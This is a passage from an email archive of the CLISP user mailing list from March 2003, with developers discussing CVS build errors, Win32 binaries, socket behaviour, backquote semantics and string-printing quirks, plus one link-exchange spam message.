Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Sat, 22 Mar 2003 09:38:50 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 22 07:39:07 2003 X-Original-Date: 22 Mar 2003 10:39:50 -0500 > * In message <249641874.20030322104057@inbox.ru> > * On the subject of "Re[2]: [clisp-list] win32 cvs head binaries" > * Sent on Sat, 22 Mar 2003 10:40:57 +1000 > * Honorable Arseny Slobodjuck writes: > > Don't lose the time - I tried a number of ways and got no success - > there is a bug in GC. Mingw build crashes after defmacro.lisp was > loaded. Yes, but Yadin got past that! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Beauty is only a light switch away. From kraehe@copyleft.de Sat Mar 22 09:38:09 2003 Received: from mout0.freenet.de ([194.97.50.131] ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wmvD-0000Aa-00 for ; Sat, 22 Mar 2003 09:36:43 -0800 Received: from [194.97.50.144] (helo=mx1.freenet.de) by mout0.freenet.de with asmtp (Exim 4.14) id 18wmuj-00025V-Mx for clisp-list@lists.sourceforge.net; Sat, 22 Mar 2003 18:36:13 +0100 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx1.freenet.de with esmtp (Exim 4.14 #2) id 18wmuj-00082N-DP for clisp-list@lists.sourceforge.net; Sat, 22 Mar 2003 18:36:13 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18wmz2-00059n-00; Sat, 22 Mar 2003 18:40:40 +0100 From: Michael Koehne To: clisp-list@lists.sourceforge.net Message-ID: <20030322174040.GA19812@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i Subject: [clisp-list] can not make from cvs today ;( Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 22 09:39:02 2003 X-Original-Date: Sat, 22 Mar 2003 18:40:40 +0100 Moin People, i hoped to catch up to current clisp this weekend, but i think, someone submitted only half of a patch ;( gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -c foreign.c In file included from foreign.d:5: lispbibl.d:7492: warning: register used for two global register variables foreign.d: In function `C_set_foreign_pointer': foreign.d:126: structure has no member named `S_Kcopy' foreign.d:129: structure has no member named `S_Kcopy' foreign.d: In function `C_call_with_foreign_string': foreign.d:2656: warning: variable `charsize' might be clobbered by `longjmp' or `vfork' foreign.d:2657: warning: variable `bytesize' might be clobbered by `longjmp' or `vfork' foreign.d:2664: warning: variable `pointer_base' might be clobbered by `longjmp' or `vfork' foreign.d: In function `do_va_start': foreign.d:3360: warning: left-hand operand of comma expression has no effect foreign.d:3362: warning: left-hand operand of comma expression has no effect make: *** [foreign.o] Error 1 lubbe:~/AIlang/clisp-cvs/clisp/src $ btw: suggestion for the toplevel of the CVS tree : #!/bin/sh # clisp-rebuild (c) 2003 GPL cd clisp ./configure | tee ../build.configure.tee cd src ./makemake --with-dynamic-ffi > Makefile make clean | tee ../../build.make.clean.tee make config.lisp 2>&1 | tee ../../build.make.config.tee vi config.lisp make 2>&1 | tee ../../build.make.all.tee make check 2>&1 | tee ../../build.make.check.tee peace on your way, Kraehe -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Sat Mar 22 15:43:01 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wsdh-0006uV-00 for ; Sat, 22 Mar 2003 15:43:01 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out002.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030322234255.KCLG6546.out002.verizon.net@loiso.podval.org>; Sat, 22 Mar 2003 17:42:55 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2MNhuTx029519; Sat, 22 Mar 2003 18:43:57 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2MNhuDR029515; Sat, 22 Mar 2003 18:43:56 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] can not make from cvs today ;( References: <20030322174040.GA19812@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030322174040.GA19812@bakunin.copyleft.de> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.42.128] at Sat, 22 Mar 2003 17:42:54 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 22 15:44:09 2003 X-Original-Date: 22 Mar 2003 18:43:55 -0500 > * In message <20030322174040.GA19812@bakunin.copyleft.de> > * On the subject of "[clisp-list] can not make from cvs today ;(" > * Sent on Sat, 22 Mar 2003 18:40:40 +0100 > * Honorable Michael Koehne writes: > > i hoped to catch up to current clisp this weekend, but i think, > someone submitted only half of a patch ;( [if you are using cvs head, it is preferred that you subscribe to clisp-devel and report problems there...] > foreign.d:126: structure has no member named `S_Kcopy' > foreign.d:129: structure has no member named `S_Kcopy' fixed, thanks. (you appear not to be using --with-export-syscalls, right?) > btw: suggestion for the toplevel of the CVS tree : try $ ./configure --edit-config --build build-dir -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux He who laughs last thinks slowest. From yadin+@pitt.edu Sat Mar 22 18:11:58 2003 Received: from mb2i0.ns.pitt.edu ([136.142.186.36]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18wuxp-00043D-00 for ; Sat, 22 Mar 2003 18:11:57 -0800 Received: from yadin-nb ([136.142.20.180]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTU81123IE0093HL@mb2i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Sat, 22 Mar 2003 21:11:52 EST From: "Yadin Y. Goldschmidt" Subject: Re: Re[2]: [clisp-list] win32 cvs head binaries In-reply-to: <249641874.20030322104057@inbox.ru> Originator-info: login-id=yadin; server=imap.pitt.edu To: Arseny Slobodjuck , "Yadin Y. Goldschmidt" Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Message-id: <45685251.1048367508@yadin-nb> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit References: <249641874.20030322104057@inbox.ru> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Mar 22 18:12:16 2003 X-Original-Date: Sat, 22 Mar 2003 21:11:49 -0500 Hello Arseny, Thank you for the new binaries that you posted on your site using MSVC. I downloaded them to my home computer and they work fine. I also was sucessful to compile maxima and it works fine execpt that it fails to launch omplotdata for plot2d since it claims it is not a windows executable which indeed it is not. The cygwin compiled clisp-2.29 was able to execute it. I then tried the binaries that you posted Friday to sourceforge on my home computer and they also work. I don't know why they don't work on my work computer. On Monday I will check if the new binaries (with no debug) work on my work computer. I will look into this more and let you know. Thank you again very much for your help- I really appreciate it. Yadin. --On Saturday, March 22, 2003 10:40 AM +1000 Arseny Slobodjuck wrote:r > Hello Yadin, > > Saturday, March 22, 2003, 1:21:57 AM, you wrote: > >> Thank you for your effeort but the binaries don't work: A box opens which >> says that >> lisp.exe encountered a problem and needs to be closed. This is on a Win >> XP box. > This is strange. I compiled maxima-5.9.0rc1 using it just now. I used > the following 'clisp' shell script (full path replaced with ... for > the sake of conspiracy): > > ===== ># !/bin/sh > /cygdrive/c/.../lisp.exe -M /cygdrive/c/.../lispinit.mem "$1" "$2" "$3" > "$4" "$5" "$6" "$7" "$8" "$9" ===== > > The $* won't work, so that mess. I had to correct maxima makefile - I > removed cmucl-...mk from it. > > There is one thing I forgot to make yesterday late evening - this is debug > binaries. At worse it should miss some DLLs - is this the case ? > Sorry then. I can upload normal version - say where. > >> your patched file. It failed with signal 11. I compiled libiconv from the >> original sources, I will try again to recompile from cygwin source but I >> don't have too much time to spend on this. If I make any progress I will >> report. > > Don't lose the time - I tried a number of ways and got no success - > there is a bug in GC. Mingw build crashes after defmacro.lisp was > loaded. > > >>> let us not mix stable releases and ad hoc binaries. >>> > > May be it's worth to do a 'beta' section among file releases ? > > -- > Best regards, > Arseny mailto:ampy@inbox.ru > > --------------------------------------------------------------------------- Yadin Y. Goldschmidt voice: (412)624-9024 Professor of Physics fax: (412)624-9163 Dept. of Physics and Astronomy http://www.pitt.edu/~yadin University of Pittsburgh mailto:yadin@pitt.edu Pittsburgh PA 15260 --------------------------------------------------------------------------- From kraehe@copyleft.de Sun Mar 23 02:43:33 2003 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18x2wT-0007fX-00 for ; Sun, 23 Mar 2003 02:43:05 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with asmtp (Exim 4.14) id 18x2w0-00040r-FN; Sun, 23 Mar 2003 11:42:36 +0100 Received: from olli.mcbone.net ([194.97.50.59] helo=bakunin.copyleft.de) by mx2.freenet.de with esmtp (Exim 4.14 #2) id 18x2w0-0002tP-4b; Sun, 23 Mar 2003 11:42:36 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18x30w-00060c-00; Sun, 23 Mar 2003 11:47:42 +0100 From: Michael Koehne To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cvs fixed - mucl works again ;) Message-ID: <20030323104742.GA22883@bakunin.copyleft.de> References: <20030322174040.GA19812@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 23 02:44:15 2003 X-Original-Date: Sun, 23 Mar 2003 11:47:42 +0100 Moin Sam Steingold, > [if you are using cvs head, it is preferred that you subscribe to > clisp-devel and report problems there...] *oups* i'm using the cvs version, because of socket-status. question here: when does the socket-status become stable ? The make test, suggest that there are some planed fixes before next stable release. And, if I ftp to ftp.gnu.org, i wonder, why latest is not 2.30, but symlinked to 2.29. I think the result of make test is well know : Form: (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))))) CORRECT: ((8 NIL NIL) (16 NIL T) (16 NIL NIL) (32 NIL T) (32 NIL NIL)) CLISP : ((8 NIL NIL) (16 NIL T) (16 NIL T) (32 NIL T) (32 NIL T)) so i installed it, and cheer that 'mucl' still works ;) > $ ./configure --edit-config --build build-dir doing this without edit-config would alow a nohup, as remote computing is much faster than my at home dualPentium250 server or my p120 laptop. > Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux btw: I have currently have 40 Debian, 40 RedHat and two Solaris systems in clamv.iu-bremen.de - about 150 CPUs - is there any software you suggest for clustering clisp ? The only MPI, I found on the net was for GCL. peace on your way, Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Sun Mar 23 07:15:32 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18x7C8-0005jj-00 for ; Sun, 23 Mar 2003 07:15:32 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030323151522.OLX24156.pop015.verizon.net@loiso.podval.org>; Sun, 23 Mar 2003 09:15:22 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2NFGQTx013094; Sun, 23 Mar 2003 10:16:26 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2NFGPrk013090; Sun, 23 Mar 2003 10:16:25 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Michael Koehne Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] cvs fixed - mucl works again ;) References: <20030322174040.GA19812@bakunin.copyleft.de> <20030323104742.GA22883@bakunin.copyleft.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030323104742.GA22883@bakunin.copyleft.de> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.42.128] at Sun, 23 Mar 2003 09:15:21 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 23 07:16:14 2003 X-Original-Date: 23 Mar 2003 10:16:24 -0500 > * In message <20030323104742.GA22883@bakunin.copyleft.de> > * On the subject of "Re: [clisp-list] cvs fixed - mucl works again ;)" > * Sent on Sun, 23 Mar 2003 11:47:42 +0100 > * Honorable Michael Koehne writes: > > And, if I ftp to ftp.gnu.org, i wonder, why latest is > not 2.30, but symlinked to 2.29. huh? ftp.gnu.org:/pub/gnu/clisp> ls latest lrwxrwxrwx 1 1175 101 12 Mar 22 17:58 latest -> release/2.30 > > $ ./configure --edit-config --build build-dir > > doing this without edit-config would alow a nohup, as remote computing > is much faster than my at home dualPentium250 server or my p120 laptop. the script you suggested wanted to edit config.lisp, so I added --edit-config. I never edit it, so I always use --build > btw: I have currently have 40 Debian, 40 RedHat and two Solaris > systems in clamv.iu-bremen.de - about 150 CPUs - is there any > software you suggest for clustering clisp ? The only MPI, I found on > the net was for GCL. what's MPI? I don't understand what you are talking about. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux PI seconds is a nanocentury From yadin+@pitt.edu Sun Mar 23 07:30:18 2003 Received: from mb2i0.ns.pitt.edu ([136.142.186.36]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18x7QP-0002Ne-00 for ; Sun, 23 Mar 2003 07:30:17 -0800 Received: from yadin-nb ([136.142.20.50]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01KTUZVV9F240001IC@mb2i0.ns.pitt.edu> for clisp-list@lists.sourceforge.net; Sun, 23 Mar 2003 10:30:11 EST From: "Yadin Y. Goldschmidt" Originator-info: login-id=yadin; server=imap.pitt.edu To: Arseny Slobodjuck Cc: sds@gnu.org, clisp-list@lists.sourceforge.net Message-id: <916157.1048415411@yadin-nb> MIME-version: 1.0 X-Mailer: Mulberry/2.2.1 (Win32) Content-type: text/plain; charset=us-ascii; format=flowed Content-disposition: inline Content-transfer-encoding: 7bit Subject: [clisp-list] "clisp 2.30.1-win32 binaries" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 23 07:31:07 2003 X-Original-Date: Sun, 23 Mar 2003 10:30:11 -0500 Hello Arseny, A couple of more comments about the win32 binaries. Apparently they lack readline support since in maxima I can not recall previous commands by hitting the up arrow key. Also invoking maxima in xemacs hangs it. This never happend with cygwin binaries. Yadin. From kaz@footprints.net Sun Mar 23 22:59:28 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xLv7-0007YK-00 for ; Sun, 23 Mar 2003 22:58:57 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18xLua-0002Yp-00; Sun, 23 Mar 2003 22:58:24 -0800 From: Kaz Kylheku To: Sam Steingold cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: New, from-scratch implementation of backquote. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 23 23:00:14 2003 X-Original-Date: Sun, 23 Mar 2003 22:58:24 -0800 (PST) On Fri, 21 Mar 2003, Kaz Kylheku wrote: > Regarding the unquote combination ,,@: > > How this works in my implementation is that the evaluation implied by > the right comma is distributed into the spliced list. LispWorks does it this way too. And Timothy Moore showed me a macro from McCLIM which ,,@ and depends on this behavior. Good! LispWorks also seems to provide nice distributive behavior for ,@,@. That is to say: ;; in LW (eval ``(1 ,,@'((list 2 3) (list 4 5)) 6)) ==> (1 (2 3) (4 5) 6) (eval ``(1 ,@,@'((list 2 3) (list 4 5)) 6)) ==> (1 2 3 4 5 6) My implementation gets the above one right by fluke; but some other cases (like if we remove the 1 and 6) confuse the optimizer. (eval ``(,@,@'((list 2 3) (list 4 5)))) agrees with LispWorks if I disable the optimizer, but with the optimizer turned on, an illegal reduction of `(APPEND ,@FORM) to `,@FORM happens, which results in an error. Normally it's okay to optimize (APPEND X) to X, but not when X has special semantics for another round of subsequent expansion. I think it's wortwhile hacking on this to nail down the ,@,@ behavior. From jamison@filewood.snu.ac.kr Sun Mar 23 23:17:43 2003 Received: from filewood.snu.ac.kr ([147.46.116.83] helo=filewood.filewood.snu.ac.kr) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xMDE-0008Ag-00 for ; Sun, 23 Mar 2003 23:17:40 -0800 content-class: urn:content-classes:message Subject: RE: Re[2]: [clisp-list] socket-wait problem on WinXP MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Message-ID: <313FAC160F7BEF44B6C02D28F79DBF5D158D7A@filewood.filewood.snu.ac.kr> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Re[2]: [clisp-list] socket-wait problem on WinXP Thread-Index: AcLqnrmGy7P/QWcFSwmENpP+UU/XEwHNWgbf From: "Jamison Masse" To: Cc: "Arseny Slobodjuck" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 23 23:18:14 2003 X-Original-Date: Mon, 24 Mar 2003 16:12:27 +0900 I've re-tested this code and found that there was no problem, sorry for = the inconvenience.. I should have tried the magic reboot before = concluding that it might be a bug, I suppose. Jamison -----Original Message----- From: Arseny Slobodjuck [mailto:ampy@inbox.ru] Sent: Sat 3/15/2003 7:55 AM To: clisp-list@lists.sourceforge.net Cc: Jamison Masse Subject: Re[2]: [clisp-list] socket-wait problem on WinXP I don't see my messages appearing in mailing list so resending this one. Sorry if there are duplicates. >> The attached code is a test case intended to isolate this problem I = have >> been having with connecting multiple clients to a server. I want to >> occasionally poll the socket to see if there are any clients waiting = for a >> connection. Under linux this code loops until a connection is made by = a >> client, as expected, but under WinXP the loop never terminates, the = client >> connects and is holding a connection to the server but the server = code >> doesn't acknowledge the connection. Is this a bug? >> The WinXP machine is running Clisp 2.30 and WinXP SP-1 > I have no problem with this code on NT4.0 (clisp 2.30, 2.27, CVS) and > on XP (2.27, CVS). I'll check ver. 2.30 on XP, but I don't expect it > will fail. > Could you try different telnets, different addresses (localhost, > 127.0.0.1, your IP, your machine name) ? I've checked clisp 2.30 with win XP - no problem. --=20 Best regards, Arseny =20 From traverso@posso.dm.unipi.it Sun Mar 23 23:30:12 2003 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[xnY7H1M2Yn6h+8LJsdZJfb7/Xuh45KuA]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xMPK-0005R5-00 for ; Sun, 23 Mar 2003 23:30:10 -0800 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h2O7U4t20498; Mon, 24 Mar 2003 08:30:04 +0100 Message-Id: <200303240730.h2O7U4t20498@posso.dm.unipi.it> From: Carlo Traverso To: clisp-list@lists.sourceforge.net Reply-To: traverso@dm.unipi.it Subject: [clisp-list] Unexpected behaviour when writing multi-line strings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 23 23:31:03 2003 X-Original-Date: Mon, 24 Mar 2003 08:30:04 +0100 It seems that when printing a string with an embedded newline, an additional newline is printed before: [6]> (progn (princ "a")(princ (coerce '(#\b #\newline #\c) 'string)) (princ "d")) a b cd "d" [7]> (format nil "~A~A~A" "a" (coerce '(#\b #\newline #\c) 'string) "d") "a b cd" (I would expect "ab cd" ) etc. Is this a (documented) feature? I have not found a justification, neither in the clisp doc nor in the HyperSpec. ct@localhost:$:traverso:[1001]->clisp --version GNU CLISP 2.30 (released 2002-09-15) (built 3252712513) (memory 3252712929) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 UNIX) Carlo Traverso From interhoney@btconnect.com Mon Mar 24 03:50:19 2003 Received: from c2bapps1.btconnect.com ([193.113.209.21]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xQT0-00039L-00 for ; Mon, 24 Mar 2003 03:50:14 -0800 Received: from LAPTOP (actually host natcust12.powernet.co.uk) by c2bapps1 with SMTP (XT-PP) with ESMTP; Mon, 24 Mar 2003 11:39:11 +0000 Reply-To: "Richard" From: "Richard" To: "Sir/Madam" Importance: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 X-Mailer: Mach5 Mailer-3.00 PID{30cbab87-e193-47ed-9b94-8a0e6f341c20} RI{e3e67-335f2} Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] http://www.interhoney.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 03:51:09 2003 X-Original-Date: Mon, 24 Mar 2003 11:38:07 0000 Dear Sir/Madam I have just reviewed your site and would like to link to you from http://www.interhoney.com If you would like to exchange links please complete the basic form at http://www.interhoney.com/linkexchange.asp Whilst you are there please try our competition. http://www.interhoney.com/compentry.asp Should you not wish to receive information from interhoney please send a blank email to Unsubscribe@interhoney.com From csr21@cam.ac.uk Mon Mar 24 05:21:28 2003 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xRsl-0008Mz-00 for ; Mon, 24 Mar 2003 05:20:55 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.12) id 18xRsD-0006FJ-00 for clisp-list@lists.sourceforge.net; Mon, 24 Mar 2003 13:20:21 +0000 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 18xRsC-0000rI-00 for ; Mon, 24 Mar 2003 13:20:20 +0000 To: CLISP From: Christophe Rhodes Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Current CVS observations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Mar 24 05:22:10 2003 X-Original-Date: Mon, 24 Mar 2003 13:20:20 +0000 Hi, I've just tried out CLISP's current CVS on x86 linux, in the hope that it's close enough to the beta to be useful feedback. Two observations: 1. Building with --with-debug seemed to cause problems. The testsuite hung, seemingly for ever, on (RATIONALIZE PI); investigating further revealed something a bit weird going on: [1]> pi 0.00282743338823081391L0 [2]> (exp 1.0) 5.0E-7 [3]> (exp 1.0d0) 2.718281828459045d0 2. Without --with-debug, the build is more successful, though the testsuite target still fails. I then tried to build sbcl on it, but it would appear that clisp detects assignments to internal symbols in other packages, which happens a lot in sbcl's build: WARNING in (PROGN (DEF!MACRO !DEF-BOOLEAN-ATTRIBUTE # ...) (DEFUN GUTS-OF-!DEF-BOOLEAN-ATTRIBUTE-SETTER # ...) ...)-10-1-2 in lines 149..236 : SETQ: assignment to the internal special symbol SB!IMPL::*DELAYED-DEF!MACROS* A full compile-time warning sets the FAILUREP return value from COMPILE-FILE to T, which is interpreted by the build scripts as an actual failure. Is there any way to lessen the impact of this warning, either by weakening it to a STYLE-WARNING or by turning it off altogether? Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From sds@gnu.org Mon Mar 24 06:43:12 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18xTAO-0000QR-00 for ; Mon, 24 Mar 2003 06:43:12 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop015.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030324144305.FBHE24156.pop015.verizon.net@loiso.podval.org>; Mon, 24 Mar 2003 08:43:05 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2OEiCTx018369; Mon, 24 Mar 2003 09:44:13 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2OEi8G3018365; Mon, 24 Mar 2003 09:44:08 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: 